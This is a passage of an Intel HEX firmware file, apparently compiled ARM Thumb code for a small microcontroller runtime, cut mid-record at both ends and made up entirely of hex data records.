A4063461A800222039B52421B04C8\n:1030800094448018CBE7009B013B0093DAE7C046ED\n:10309000FFFFFF7FF0B54B681500526889B006004E\n:1030A0000C00934201D22C000D00012122786368AC\n:1030B0000A4201D12A781140C918300013F0D0F922\n:1030C000B36822780193A368170002936368297894\n:1030D0009C46AB684F400393012318001F408B436D\n:1030E0006146904302000693019B04936B685B1A50\n:1030F0000793002918D163465900019B5918002FE6\n:1031000002D001230B800231019813F01FF9012135\n:10311000706022782B7853403278DB078A43DB0FCC\n:103120001343337009B0F0BD029B13481B8801396B\n:103130001B189B180593079B5B18994219D3039B97\n:10314000039A1B8802321B180392069A9B18059A51\n:103150005A4092B21B0CD7190693049A059B17800C\n:103160001A0C049B3F0C02330493029B023302931C\n:10317000BFE7014BE9E7C046FFFF0000F0B50600DE\n:1031800095B0079353680D00591C0592019313F0F5\n:1031900067F9059B00215B68B0685A1C52000193D7\n:1031A00016F015FA00237360059B28005B68591C14\n:1031B000019313F055F90599280013F0E2F9079BE4\n:1031C0006F685B680393BB4236D8AB680293079B7A\n:1031D0009B680493B3680893039BBB422ED3049A65\n:1031E0003900029813F07FF9002823D10123089AAF\n:1031F000686013807360059B1A78079B1B785A40A0\n:1032000001231A4214D03278134333706B68002BB9\n:103210000ED0012111A8494213F0D2F911AA3100B0\n:10322000300013F0CEFB079A2900280013F0C9FBE9\n:1032300015B0F0BD002801DA0023DBE7824A039BCA\n:103240009B185B009C460022049B634406931B88EA\n:1032500001921AB2002A63DA0022029B7C001A5300\n:103260007B1C10270A936B60029BA01C01991B1802\n:103270000993791A029B0B9109998B4256D3069BAD\n:10328000019A1B8893400993039B012B0AD91022B2\n:10329000049B01996344023B1B88521AD340099A4C\n:1032A0001A430992029B039A1C190A9B9B1A664AAD\n:1032B00073609B18089A5B00D3180C936346023323\n:1032C0000F936B680D930D9A039B934239D31300B0\n:1032D0005D4A102194460024029A63445B00D3188F\n:1032E000019A891A029A9A4200D8A0E07368002BCA\n:1032F00007D0554A08999A185200525A002A00D10C\n:103300009FE06B68002B00D175E74F4A02999A182D\n:103310005200525A002A00D06DE7013B6B60F0E783\n:10332000019A5B0001329BB292B291E71988019F2A\n:103330000800B84002431A800B9A0233D1408AB287\n:103340009AE72088A31E1B8800041843099907F0F8\n:10335000A3FA00220F9B0690E31A0E931800049B19\n:103360000B920A93844212D823889A4237D3D31AF5\n:103370005A42190C9BB222805A1E9341CA18002A45\n:103380002FD004990E9B8C4600210F0044E00B9B2C\n:1033900001991F0C0A9B1B888B401F436B460B97A0\n:1033A000998D069B59430388994202D25F1A97422E\n:1033B00010D8D21A8A18130C9C4693B251425A1E46\n:1033C000934163441A0089B20A9B018002330230A0\n:1033D0000A93C7E79B1A591A89B20022F4E79A1A8E\n:1033E00022800C9B069A023B5A800C930D9B023C58\n:1033F000013B6B6065E7380C0A906046019F0088CE\n:10340000B8400A9F074318884118B8B241180220F3\n:1034100019808444090C02339C42ECD82388591843\n:10342000069B2180013B090C521A0693A7E71A88D4\n:10343000019F100038418A402043188094B2023B1B\n:1034400050E7013B736051E7FFFFFF7F436870B5B2\n:103450005A00002384680A4DA218944206D30278C9\n:10346000D20700D55B4201200B6070BD023AAB422F\n:1034700003D816881B043343EFE70020F5E7C04666\n:10348000FF7F000010B50C000FF035FB631E1842E3\n:1034900007D00200230003490348EFF7C1F8F3F710\n:1034A000FFFF10BD8A600300D0A6020010B54A6875\n:1034B0000249D2000FF089FD10BDC046B260030082\n:1034C00070B5060014000800002A0FD07168042AA5\n:1034D00010D1FFF7D7FF7368012B03D0022B07D061\n:1034E000006800E000780FF0C9FA0400200070BD09\n:1034F0000088F8E7FFF7C6FF05002000F9F78EFA0D\n:103500007368054C012B03D0022B03D02860EDE734\n:103510002870EBE72880E9E724DD020030B58DB0A4\n:1035200005006846F3F796FF011E10D12A1D012001\n:103530000EF04CFC0122EB6804005B1001335B00D1\n:103540001343EB60F3F7A4FF20000DB030BD0198EA\n:10355000054A0368934205D0044A00249342F3D0FD\n:10356000F3F79EFF0024EFE7A4A502004CA302009E\n:10357000044B0B6003684B60436808008B600123B9\n:10358000CB60704760D30200F0B52F4D85B02F009F\n:10359000B43703972A00FC32536C2C498B4201D874\n:1035A00005B0F0BD043B53642A00AC321668032416\n:1035B00000221B68013299188808305C21404900BC\n:1035C000084120400228F5D0032603991B01096811\n:1035D0001201CB18D21802921B4A02998B42D9D001\n:1035E0000F211868084229D119490968814225D854\n:1035F0001400B8342468844220D9401A010901918A\n:103600001100AC3109688009019C08180178344028\n:1036100064008C462141314001290FD13700A74079\n:103620003C0067463C4304701400FC34606C094F56\n:10363000B84205D2011D6164019901600433CCE7F1\n:103640001000BC30F9E7C046842E0020442F002033\n:10365000382F0020C42F00200F23994370B5060097\n:103660000D00081A412107F017F90F4C0200230042\n:10367000B033186023002100AC331E608301EB1AC5\n:10368000B4310B6023003000B83300211D6015F009\n:103690009EFF8023FC345B020122A364002352427C\n:1036A000E3642265636570BD842E0020A222034975\n:1036B00052008B5A01338B527047C046842E002033\n:1036C000A222034952008B5A013B8B527047C046DD\n:1036D000842E0020A223034A5B00D05A431E984147\n:1036E000C0B27047842E0020F7B50400032589007E\n:1036F00043180193019B9C4200D1F7BD0F23216821\n:10370000194229D1184B1A00B43212688A4223D8C0\n:103710001800B830006888421ED9891A1A000F09AB\n:103720003800AC321268890951180A7828404000E4\n:10373000944602412A40012A0ED12E0086403000D4\n:103740006646304308701800FC30416C074EB142A9\n:1037500006D20B1D43640F60FFF716FF0434C9E760\n:10376000BC331A60F8E7C046842E0020C42F002026\n:10377000A22210B508485200835A01000133835237\n:1037800003000022FC33BC310A60DA64034A2721BB\n:103790005A64FFF7A9FF10BD842E0020442F00209B\n:1037A000F8B503262E4C00252200BC321368AB422C\n:1037B00013D102221900032794462200B032126866\n:1037C000920091422AD323000022FC335A654532ED\n:1037D000FF32A35A013BA352F8BD23001560214AD2\n:1037E000FC335A642300B0331B689B009D42D9D23E\n:1037F0002200AC321268AB08D35C2A00324052007F\n:1038000013413340032B07D12200FC32536C191DA6\n:1038100051641D60FFF7B8FE0135E3E72000AC30CE\n:1038200000688A08801802780D0016003D406D007F\n:103830002E413E40022E09D0032E0BD0012E07D17F\n:103840003B00AB409A430270012301E0002BF7D10B\n:103850000131B2E76346AB409A4302700023F7E7B9\n:10386000842E0020442F0020334BF0B51A0019009D\n:10387000B832B43109681268521A1900B0331E68A0\n:10388000026003230022AC310F68140011009C4633\n:1038900042608260C260026142618261B600654638\n:1038A0008B08FB5C0D406D002B4165462B40456845\n:1038B000012B2CD0002B24D0022B2BD001318E4297\n:1038C0000AD065468B08FB5C0D406D002B416546B8\n:1038D0002B4001D0012BE2D1012C1FD1056901350C\n:1038E00005618569A54200D284618E4201D0012B19\n:1038F000D5D1C368934200D2C2608E4214D0002258\n:10390000CDE784680132013484601C00D6E70135BC\n:103910004560FAE7013545600134CFE7022CE0D17C\n:10392000456901354561DCE743681B0143608368F5\n:103930001B018360F0BDC046842E0020F7B50F3018\n:103940000309019302D100263000FEBDA223474A9D\n:103950005B00D35A002BF6D14733FF33D35A5E4274\n:103960005E41002B07D0414BFC33DA6C1B6D9A4251\n:1039700001D3FFF713FA002430203F273B4A3B4B8B\n:10398000B0321268FC339446384A5B6DAC32116831\n:103990009C4505D8002ED6D1FFF700FA0136EBE79B\n:1039A0000325CA5C2A4230D1019D0134A5422DD89D\n:1039B0009B001A1B501C012C04D12C4F5E1CFC37A1\n:1039C000B6087E6503252F00860889190126074061\n:1039D0007F00BE40AC460F7802323E43234F0E704C\n:1039E000AC37934233D2214D204BFC35EA6CB433D3\n:1039F00094461E680001019B361863442201002191\n:103A00003000EB6415F0E3FD9EE700240C252A420C\n:103A100006D1019D0134A54203D89B000133C8E7BC\n:103A20000024024206D1019D0134A54203D89B0027\n:103A30000233BEE70024BA4306D1019A0134A24200\n:103A400003D89B000333B4E700240133A0E73D68AB\n:103A5000664691086918022516407600B5402E008A\n:103A60000D7801322E430E70BBE7C046842E002035\n:103A7000A22230B5164B52009A5A002A26D10028AD\n:103A800024D01A00B4321268801A1A00FC32546D25\n:103A900001098009A04200D25065AC33180003220E\n:103AA00004688B08E3180C00150014406400A5405E\n:103AB0001C780131AC431C7004688B08E35C0C007B\n:103AC0001440640023411340022BE9D030BDC046AE\n:103AD000842E00200F2330B5034026D1144A110054\n:103AE000B431096881421ED81400B8342468844275\n:103AF00019D9AC32401A146805098009215C0322E7\n:103B00002800104040000141114001290BD1013330\n:103B1000E9188808205C1140490008410100114063\n:103B20000229F4D01B01180030BD0023FBE7C0467A\n:103B3000842E0020F0B585B007000D000292002809\n:103B400007D101002800FFF7F9FE0600300005B09C\n:103B5000F0BD002903D1FFF78BFF2E00F6E70F23FE\n:103B600000260340B342F1D153481E000200B43294\n:103B70001268BA42EAD80100B8310968B942E5D9F9\n:103B8000BA1A110900910100AC31096892098A5CE6\n:103B900001910321009C214049000A4103210A4070\n:103BA000012AD3D14231FF31415A0029CED1290017\n:103BB0000F310909B0308C46016803268900039152\n:103BC000210014000131039A914212D201988A080F\n:103BD000825C08003040400002413240022A02D19B\n:103BE00001340131EFE7002A03D10133E2186245C5\n:103BF000F7D3644501D13E00A8E7644521D9009B75\n:103C0000032663441900009B0800E218AC239C467D\n:103C1000294B9C44634605001B6884081C1933002B\n:103C200035406D00AB40257801309D4325709042B2\n:103C3000F0D1214B8908FC335A6D9142DBD2596592\n:103C4000D9E71B19634523D3032502261A49009B94\n:103C5000AC31E3180191009A62449A4209D8634654\n:103C6000191B090120010A003818002115F0AFFCCA\n:103C7000C1E70199180009689A088A18310028409C\n:103C80004000814008001178013308431070E2E7DA\n:103C9000029E002E00D159E700212800FFF74EFEBA\n:103CA000061E00D152E72201390015F074FC3800DD\n:103CB000FFF7DEFE4AE7C046842E002010B58CB028\n:103CC00005A8FFF7D1FD079B0A4C03930093059AC3\n:103CD000069B094920000FF078F9089B099A019387\n:103CE0000B9B06490393009320000A9B0FF06DF98C\n:103CF0000CB010BD34B70200016103002461030061\n:103D0000F8B5434E434F3300B4331A684249380084\n:103D10000FF05BF900243300B0331B689B00A34213\n:103D200023D93F2214422CD132002500AC32106836\n:103D30000321AA08825C294049000A4103210A4262\n:103D400002D10135AB42F3D12A1B7F2A12D9920945\n:103D5000324938000FF039F92C003F239C433300DF\n:103D6000B0331B689B00A34204D838002C490FF0E5\n:103D70006EF8F8BD2B4B22011A402B4938000FF08A\n:103D800024F93200AC321268A308D35C032222402B\n:103D900052001341032213403A32022B31D0303209\n:103DA000032B2ED03F3A012B2BD13300B4331B68A9\n:103DB0002201D3581D4954228B4222D01C49083A73\n:103DC0008B421ED01B49083A8B421AD01A490F3237\n:103DD0008B4216D019498B4213D01949123A8B42A3\n:103DE0000FD018498B420CD0174905328B4208D0AE\n:103DF0001649043A8B4204D015490B328B4200D04D\n:103E00001B32144938000FF0E0F8013483E7C04654\n:103E1000842E002034B70200C2600300DD6003007E\n:103E20008E6F0300F0FF0F00F96003006CD10200F9\n:103E3000FCC1020098CC020040BB020020B9020085\n:103E400070AD020034AD02000CAB020094DF020042\n:103E50006CB20200DC1803000523020070B5094CA7\n:103E6000094D2068434309489B189B0018582B684C\n:103E70002260C0180F23194009012860EEF72AFAC2\n:103E800070BDC04630020020F4010020C0DC0200FA\n:103E9000A839030000B5080006292ED806F0E8FC72\n:103EA000040A10161B2128009A18E223DB00D218FE\n:103EB000107800BDC4329200D05C8006800EF8E716\n:103EC000C4329200D05AC004400EF2E7C4329200CD\n:103ED000D0580003F8E7C43292009A18907800098D\n:103EE000E7E7C43292009A18D0780007000FE0E7A5\n:103EF000C43292009A18D078F1E7024B024A0020AF\n:103F00001A60D6E71800002069610300A83910B5CF\n:103F100004000800062949D806F0AAFC040A141F68\n:103F20002A343F00E221A218C9005218137010BDB4\n:103F30003F210B401800C4329200135D8B430343B2\n:103F40001355F4E77F21C432920019401948135BDE\n:103F5000890103400B431353E9E77F21C4329200E8\n:103F600019401059144B490303400B431351DEE72A\n:103F70000F20C4329200A2181901937803400B431A\n:103F80009370D4E70F210B401800C4329200A2189E\n:103F9000D3788B430343D370C9E70F20C432920018\n:103FA000A218D1781B0101400B43F4E7034B044AEC\n:103FB0001A60BCE73FE0FFFFFF1FF0FF1800002082\n:103FC00087610300F0B5D2B285B00E0003930721DC\n:103FD00013000B40013BDBB2042B02D9284C294DC6\n:103FE00025608A4319020191002A21D1264B347899\n:103FF000C35C1B09DB43E31ADBB202930825234BA6\n:10400000019A1B199B5C5F005BB2FFB2002B34DA94\n:104010001A210320013DEDB2FFF71EFF3B00002DEA\n:10402000F1D10134029BE4B29C42E7D134701AE032\n:10403000D4431749E4B2CF5C0825144B019A1B19ED\n:104040009B5C5E005BB2F6B2002B0FDA052102200A\n:10405000FFF702FF013DEDB23300002DF1D1013435\n:10406000E4B2002CE8D1039805B0F0BD390001207E\n:10407000FFF7F2FE002FE9D0ECE706210420C9E7A4\n:10408000180000207461030019070000FF66030098\n:104090005A6D03000022F0B505000F00FF200F2429\n:1040A0008BB008AB654EDA710100C4318900691824\n:1040B0008B781A09B25C234012011343CA788B70C3\n:1040C00013071B0FF35CA243234013431A09B25C8E\n:1040D000234012011343CB700138E5D2E223DB0009\n:1040E000EE5CB308F31ADBB20493554B1B68002B4C\n:1040F0000BD0E222C4218120D200890000013B00C4\n:10410000AA1869182818F0F725FE002448230294FD\n:1041100003930194009481222B1912019B181B78A0\n:10412000180005930723984320D008A92300059A77\n:1041300007312800FFF746FF0230C4B2023FFFB24A\n:10414000002F78D02B780393013EF6B2002E47D192\n:10415000E2222B19D2009B181E78B308F31ADBB2A7\n:1041600004930023029301930093D4E7354B009A04\n:104170009C469A5C2300C4339B00EB18997809098C\n:104180000A4331498A5C019907926246DB78525CA6\n:104190001907090F0A432C491B098A5C2B4906920F\n:1041A000029A8A5C06991343079A8A182649C95CC1\n:1041B00001238918FF2A00DC031CC918882309067B\n:1041C0001B06C918090F0020FFF746FE039B013BA1\n:1041D000DBB20393002BB7D10134E4B2013FAEE769\n:1041E000049B013BDBB20493002B02D1059B002B07\n:1041F00018D12200C4329200535D00999B069B0E99\n:10420000CB18DBB20093535B0199DB045B0ECB1838\n:10421000DBB201935359029A1B035B0ED318DBB236\n:10422000029378E708A92300059A07312800FFF7D1\n:10423000C9FE04008CE70BB0F0BDC04683620300EA\n:10424000FC0100204F6C03005B640300FF6503006A\n:10425000064B1B5C002B05D0054B185C4143C91174\n:10426000C8B27047034B185CFBE7C046AB65030060\n:1042700024640300E4620300064B1B5C002B05D0A2\n:10428000054B185C4143C911C8B27047034B185C19\n:10429000FBE7C046AB6503005F6D030034630300BA\n:1042A000F0B5037A8DB004007F2B00D157E10300F5\n:1042B000070000250933FF330837099301953E783D\n:1042C0007F2E00D087E000230693019306998B0090\n:1042D000E31803931A7A481C1B7BC0B206907F2B0D\n:1042E00000D11BE19F49CE5C8D5C9F49AE4200D05E\n:1042F000F1E08D5CCB5C0493039B597A019B5918C8\n:10430000CBB20193049BEB18DBB20793023B1B0675\n:10431000DCD4A827019B5D1BEBB20593A82F00D02E\n:10432000E1E0039B039A5B7A527B5B085208991881\n:104330000291019901988A18E221C31AD2B2DBB224\n:10434000C900A218E31852185B18157818782D1AAE\n:10435000EDB27F222B006DB293430893EB17E81860\n:104360005840029906F008FC2800CBB20299099344\n:1043700006F01CFB059A00251600C3B20A93029BA7\n:104380009B18DBB20B93320039002000FFF780FD51\n:104390000A9B01360B9AC018F6B2C3B2964200D1FE\n:1043A000B6E0099AAD18029AEDB2AA420DD8AD1A3C\n:1043B00020216A4652181278EDB252B2002A00DA71\n:1043C000A4E0002B01D00133DBB232003900200021\n:1043D000FFF79CFDD7E7012E77D12B003100019A22\n:1043E000200012F029FEBA78604BA1789B185B7808\n:1043F00030000193FB780893FFF72AFF3F23E17811\n:10440000034030000293FFF737FF7F22584B9B5D3C\n:104410001A40584B03929A5D0F231A400492564A51\n:10442000925D1A400592554A925D1A4006923F22CB\n:10443000534B9B5D07937B78EB18DBB20A93029B8F\n:10444000134002937F23184083019C462A003F219A\n:10445000C4329200135D0F268B4302990B43135510\n:10446000135B48490B4061460B431353039B1059A0\n:104470005903454B03400B430498190C314000018C\n:1044800013510843A21890701B0E0598B343069968\n:10449000034309011E400E43D67081226319079918\n:1044A00012019A181170E222D2009B180899019A01\n:1044B000013552181A700A9BEDB29D42C6D1099B74\n:1044C0000437BB4200D0FAE6FDE6022E8BD12B006A\n:1044D000019AFF2184E72D48AE4201D9C55C09E766\n:1044E0008D5C835C07E7049B019A39009A18D2B26D\n:1044F0002000FFF7CDFC059A050039002000FFF7EA\n:10450000C7FC079B2D1AEDB2029322E7013B5BE744\n:104510000137FFB2AF2F00D000E7D7E602318900A4\n:104520006118019B497859186368C9B2002B13D1EF\n:10453000E22381221648DB001201E318A518001BB4\n:104540001A18C4329200125D1E789206D20EB21A68\n:104550001A7001339D42F3D12000FFF79BFD0DB08F\n:10456000F0BDC046946203005B6503004F6D03001D\n:104570008463030093610300E3610300336203007B\n:10458000FF6B03003FE0FFFFFF1FF0FFD46303005A\n:10459000F0F8FFFF10B502490EF059FC10BDC046FF\n:1045A000966D03008022044B52001A600123034AD7\n:1045B0001360034A1360704700E100E00C8C004078\n:1045C000008000408022054B5200DA67044BFF3A1E\n:1045D0005A600022034B1A607047C04604E100E0B5\n:1045E000008000400C8C004070B5002501261E4B59\n:1045F0001E4C1D601E4B18601E4BE650C046FFF758\n:10460000E1FF1D4B1D4AE660E25002221C4BFF20D9\n:10461000E5500433E25008339218E250C12380225F\n:104620009B001203E250053BFF3BE550C2244022B1\n:10463000144BA400195981430A4380211A510C34A8\n:104640001A5909061202120A0A431A51C0220434E6\n:10465000195981430A431A51802212041A60802298\n:1046600052041A6070BDC046D82F00200080004060\n:1046700044020020FC0F00004C05000070170000F1\n:104680000405000000E100E070B51F4C1F4D636C95\n:10469000002B0AD0002363641D4B1B689847A82396\n:1046A000DB00EA5800018018E850A36C002B09D009\n:1046B0000023A364164B5B689847164B0001EA5829\n:1046C0008018E850E36C002B0AD00023E364104B01\n:1046D0009B689847A923DB00EA5800018018E8503E\n:1046E000236D002B0ED000230B4A2365AB580B49DA\n:1046F0005B18AB500A4A1368063313608022094BDB\n:1047000012045A6070BDC046FC800040008000402A\n:104710005C000020440500004C05000070170000FC\n:10472000D82F0020FCE100E0F7B50191032823D841\n:10473000134B8000C758C223124D9B00EF5001233A\n:1047400044192364A8230F210F4EDB009C46E35835\n:10475000AE59921BD218D3170B409A1801990B4BE4\n:104760001211C150C1239B00EF506346002001325B\n:1047700012019619E650FEBD01204042FBE7C046FB\n:1047800064DD0200008000404C0500005C00002059\n:1047900003280BD8074B8000C158C223064A9B0050\n:1047A000D150064B064AC2500020704701204042BB\n:1047B000FBE7C04664DD0200008000405C00002092\n:1047C0008570020010B5024B1B68984710BDC046AB\n:1047D0004402002070B50025054C2368002B02D050\n:1047E00000222260984701350434042DF5D170BDB4\n:1047F00034020020074A89008B58002B06D18850CC\n:1048000080211800044A4904516070470120404249\n:10481000FBE7C04634020020FCE100E010B5034B8A\n:10482000186813F0DEFA0EF029F910BD642A002092\n:1048300010B5034B186813F0DBFA0EF01FF910BD2A\n:10484000642A002010B5034B186813F0D8FA0EF054\n:1048500015F910BD642A00201FB500210320FEF7C2\n:1048600049F90A4B0400196801A813F0ADFA019840\n:104870000EF004F9A06002980EF000F9E0600398D1\n:104880000EF0FCF82061200004B010BD642A002066\n:1048900010B5F4F749FB0023064A99008958814274\n:1048A00005D001330C2BF8D10348ECF7EBFC1800D2\n:1048B00010BDC04670DD02009B6D0300094A70B553\n:1048C0001378002B0DD1084D2C78E4B2002C08D1C0\n:1048D000013313702B70054B186803685B689847A9\n:1048E0002C7070BD012E0020022E0020642A0020B2\n:1048F00010B5FFF7E3FF054B186813F0A1FA044B5E\n:104900008000C3580620DB00184310BD642A002035\n:1049100070DD020010B50800FFF7BAFF0400FFF7D2\n:10492000CDFF054B186813F08BFA044BA04200D062\n:10493000034B180010BDC046642A0020B4AD02002D\n:10494000ACAD020010B50800FFF7A2FF0400FFF7AE\n:10495000B5FF0123A340064A064811880B4200D147\n:1049600005481188994311800022044B1A7010BD2C\n:10497000C62D0020B4AD0200ACAD02000B2E00200D\n:10498000F8B5FFF79BFF144C14482378002B22D076\n:1049900020780021C0B2FEF7ADF801260022104FAA\n:1049A0002378934215D9010008310D0011005308F6\n:1049B000FB5C314089000B410F210B4009499B00F2\n:1049C0005B580621DB000B43290095004B51013257\n:1049D000E6E700232370F8BD0B2E002064D102000F\n:1049E000032E002070DD020070B543885A1E0A2A8B\n:1049F0001FD801252A009A400F490888024392B225\n:104A00000E480A8002780F2A13D802780C4CEA402C\n:104A1000A25C0678D2B20F212E420BD00A401B01B5\n:104A200013430278DBB25208A35403780133DBB29C\n:104A3000037070BD8A43F3E7C62D00200B2E0020C3\n:104A4000032E0020F0B58FB0079242680893944679\n:104A50000368040003939B6804300093634403607D\n:104A60000D0012F012FB0690606812F024FB431C4C\n:104A700063600378A04A0193831C6360437800213C\n:104A80000093C31C636083780493031D6360C37841\n:104A90002000029323001033A360069B14309A1861\n:104AA00093000593C318E360059B0C331A00099328\n:104AB00014F08DFD009A069B9B1A049A0A939E1A85\n:104AC000371D009ABF00E7190123AA4200D36DE009\n:104AD000019A1A4207D12B00009A88498848EDF7BD\n:104AE0009FFDF2F7DDFC009B03369900089BB600A2\n:104AF0005918009BA619E81AFDF7FCFF009B043F1C\n:104B00007060089A09999B0061189B1804399A42B1\n:104B100000D078E0079B002B03D1019B1B0700D43A\n:104B2000D0E002230026019A1A400992B24204D032\n:104B3000079810F093FA060038600027039BAD0039\n:104B4000DB680B93089B5D19079B9F425ED1029B1C\n:104B5000039903339B00CB1800210A9E029F053660\n:104B6000B600A219002F00D07DE0059B02992033EA\n:104B70008900E3185218934200D97DE0009B143E4F\n:104B80009D000B9BA6195D19049B9F4200D27DE0FE\n:104B900065680DA80D9512F078FA28180378451C61\n:104BA000FF2B00D09DE065600FB0F0BD019A1A4266\n:104BB00005D00336B600534BA619043F7360079B1C\n:104BC000002B16D1019B1B0713D4009B029A9A1A43\n:104BD000AA4216D8029B009A5B199B1A039A9B0063\n:104BE000D3182A0005991C316118009804338242B9\n:104BF00001D32B0085E79000DE6840420E50013261\n:104C0000F3E72B0069E701CA48617FE7009B04983E\n:104C100000221B189C462968944505D8099B002B47\n:104C20001CD1CA0838490EE00B9B900018588842E6\n:104C300012D1069B013B9B1A9B00E3185A69002A7C\n:104C400005D0CA0831492E48EDF7EAFC49E76A6801\n:104C50005A610137083577E70132DDE76A683000CD\n:104C600010F035FAF5E75058002802D1484218589C\n:104C70005050013F043175E70432111F09680029C3\n:104C800000D078E79A1A92102149DCE73269002AAD\n:104C900010D10820019B296803420FD0029B039882\n:104CA00004339B001858043001F082FD002805D021\n:104CB000436833610137043E043565E72A681549C6\n:104CC000D208C0E7049B002B02D01348ECF79EFCEF\n:104CD000019B9B0700D45BE7049810F0BFF9386094\n:104CE00056E7069A561EF61AB600A6197069ECF732\n:104CF0002DFF7061280051E7FDFFFF3F2B080300E7\n:104D000058A6020064D10200DC190300FD1903005B\n:104D1000AB6D0300DD6D03000D6E030030B507249D\n:104D20000278084DA24314000222224302707F221F\n:104D3000039C41602240D400028883602A402243C1\n:104D4000028030BD07FCFFFF10B50B00072401787F\n:104D50002340A14319437F23017004990A4C0B405F\n:104D6000D9000388426023400B430380039B0468FF\n:104D70005905064BC90A23400B430360029B83601D\n:104D8000059BC36010BDC04607FCFFFFFF03E0FFAB\n:104D9000F0B5124B87B003AD40C9013800930195BF\n:104DA0000323EDF7FBFA68680D4F1E24B84202D0CA\n:104DB00010F0B2F944B2A8680023B84202D010F053\n:104DC000ABF943B2706803994371047104F0CCFCF1\n:104DD000706805F033F8380007B0F0BDE4DE02007B\n:104DE00024DD020030B5124B8BB003AC20C9013872\n:104DF000009301940323EDF7D1FA616806A812F03D\n:104E000014FB039B089A5900237A00936868079B58\n:104E100003F050F8021E05D006490748EDF700FCE4\n:104E2000F2F73EFB06A90548F4F726F80BB030BDB3\n:104E3000FCDE0200346E0300F0A4020020B9020080\n:104E400030B5114B89B002AC20C9013800930194F0\n:104E50000323EDF7A3FA012205A96068F7F76CFFB9\n:104E6000029B059A5900237A00936868069B03F019\n:104E700031F8021E05D005490548EDF7D1FBF2F7E0\n:104E80000FFB044809B030BD14DF0200466E03007A\n:104E9000F0A4020024DD02000021F8B547680800F4\n:104EA0000EF0C6FC08250600B1223B68D2009D50DA\n:104EB000802200209200190098500122FC319A6053\n:104EC00088605A61104A8868002803D1002A19D0E6\n:104ED000013AF8E70024A24204D00C4A9C586342ED\n:104EE0005C41E4B2380004F0A9FF002C05D0012198\n:104EF0006B0019433000F6F7E9FB0135782DD3D16B\n:104F00003000F8BD1400EDE710270000C4040000D5\n:104F1000F0B5060087B000AFBA607B60F960ECF7CF\n:104F200041FEB06812F0C1F83861B06812F0C3F801\n:104F300012F0BBF8032343433A699B189B001D0002\n:104F40007B6114352C2B2CD86B460735ED08ED0012\n:104F50005B1B9D4600236C467B61002326606360DB\n:104F6000BA687B68F9682000FFF76CFD154D0021D9\n:104F70006B682000236173686B60F7F7E9FE2369B3\n:104F8000061E6B6013D1A3681D687B69002B04D0DB\n:104F900020000DF037F8002E11D12800BD4607B0D3\n:104FA000F0BD28000DF00CF8041ED6D1CCE73B690B\n:104FB00003339B00E3185D687B69002BE8D1280070\n:104FC000F2F76EFA842E00200122030030B5134060\n:104FD00085B004004510002B14D125491D008842DE\n:104FE00010D0244988420DD0234B1500984209D097\n:104FF0000323034009D1214A0168914205D10DF0F4\n:105000007AFD0500280005B030BD1D4A250022406C\n:10501000062A05D0002B08D11A4B22689A4204D1E7\n:1050200001A92000F4F7B2FBEBE72000F7F7E6FB5D\n:10503000154B984207D1FF23DB05E0180323984363\n:1050400006F040FDDDE7114B984202D0104B98422C\n:1050500006D101AA69462000F7F758FD019DD1E766\n:10506000022201A920000EF067FE0028CAD0F5E751\n:1050700024DD0200ACAD0200B4AD020004C60200A3\n:10508000070080FF40BB02000CAB02006CD10200A5\n:10509000FCC10200F7B506000F0000920193041E48\n:1050A00000D044683800431E984120180430800026\n:1050B0000CF079FF0C4B050003600C4B5B68436000\n:1050C000009B8360019BC360002E05D03100A200CD\n:1050D0000831103014F05FFA002F02D00434A4001D\n:1050E00067512800FEBDC04694DF0200842E0020D8\n:1050F00070B5060010200D0014000CF054FF034B97\n:10510000466085600360C46070BDC04658DF020021\n:1051100000237F2803D8034B1B5C9B07DB0F180081\n:105120007047C046596E030000237F2803D8034B05\n:105130001B5C1B07DB0F18007047C046596E03004D\n:1051400000237F2803D8034B1B5C5B07DB0F180091\n:105150007047C046596E030000237F2803D8034BD5\n:105160001B5C5B06DB0F18007047C046596E0300DE\n:1051700000227F2808D8054B0132195C0C23194204\n:1051800002D15F384242424110007047596E03001D\n:1051900000237F2803D8034B1B5CDB06DB0F1800C2\n:1051A0007047C046596E030000237F2803D8034B85\n:1051B0001B5C9B06DB0F18007047C046596E03004E\n:1051C00010B54A6801490DF000FF10BDF905030054\n:1051D00010B50D4C206812F0AEFE002807D00B4B26\n:1051E0001B78002B03D1206803685B689847002375\n:1051F000074A1370074A1370F0F7FAF8F8F7E4FD5E\n:10520000F5F778FD10BDC046682A0020D02D00209B\n:10521000CF2D0020012E002070B5050094B000288D\n:1052200004D13F480BF0F6FF14B070BD08A8F2F7A8\n:1052300011F9041E19D12E68290004A80122F0F7E3\n:105240001DFA23002200310004A8FDF74FFA0400E4\n:105250000320EFF741F920000CF0A9FD01204042A6\n:10526000EFF73AF9F2F714F9DEE701204042EFF7E1\n:1052700033F909992B48F7F7FDFA0998F7F7BEFAC1\n:1052800029490400F3F7BCFC0028CDD127492000B0\n:10529000F3F7B6FC0028C7D1099C01AA6946200093\n:1052A000EDF75EFA02AA322104A800F029F9009B6A\n:1052B000022B05D9019B1E495A6802A80DF085FEF4\n:1052C0002000F7F79BFA1B4BC2689A4210D1236863\n:1052D00019495A6802A80DF078FEE368002B07D040\n:1052E0005A68002A04D00022996802A8F7F79EFAAB\n:1052F0000320EFF7F1F804A812F0D4F800F0D4FB83\n:1053000004A812F0A3F801204042EFF7E5F80B4B98\n:105310009A6C002A00D187E700229A6484E7C0468D\n:105320000F6F030034B702001CA60200C4A30200E2\n:105330003C6F0300DD240000456F0300842E002035\n:10534000F8B54E4C1321200013F0A9FE20000321D4\n:1053500013F05EFF4A4C01234A4A1321200004F057\n:1053600015FC01220221200004F040FC464C2000E4\n:1053700001F004FE454F3860200002F013F8444D60\n:105380002860102014F08CF8040029680025414E94\n:105390003A68330002F04AFB3F4B1C603F48ECF791\n:1053A000E1FBE120C000ECF7EDFB3D493D48FEF795\n:1053B00053F9EBF71DF900F0F3FAEEF7F9FB01F002\n:1053C00043FC300013F0FEF90EF053FDF1F73AFB09\n:1053D000FBF7C4FAECF794FBECF7FEF9324C3348D8\n:1053E000230088331D60FFF7FFF8FFF7DBF8ECF7C9\n:1053F00005FA2F4F3B78012B0ED1002307211A000D\n:105400002C48F1F727FC031E1DD00100F7204000B7\n:10541000F1F7A6FDFFF700FF3B78002B2AD1F2F74A\n:1054200043FF0028F8D0244812F006F9FFF7CAF825\n:1054300008220021214814F0CAF8230098348C3344\n:105440001D602560AAE7F822920211784D2909D142\n:105450005178502906D1F72052881949400012F09E\n:1054600041FAD7E7012217491720EBF743FE0CF06A\n:10547000C8FCD1E7F2F768FFD3E7C046482A00200E\n:10548000602A002073730200E82A0020642A0020AA\n:10549000682A0020702A00206C2A0020004000208A\n:1054A000482A002048020020842E0020D15101000B\n:1054B000E9000020496F030051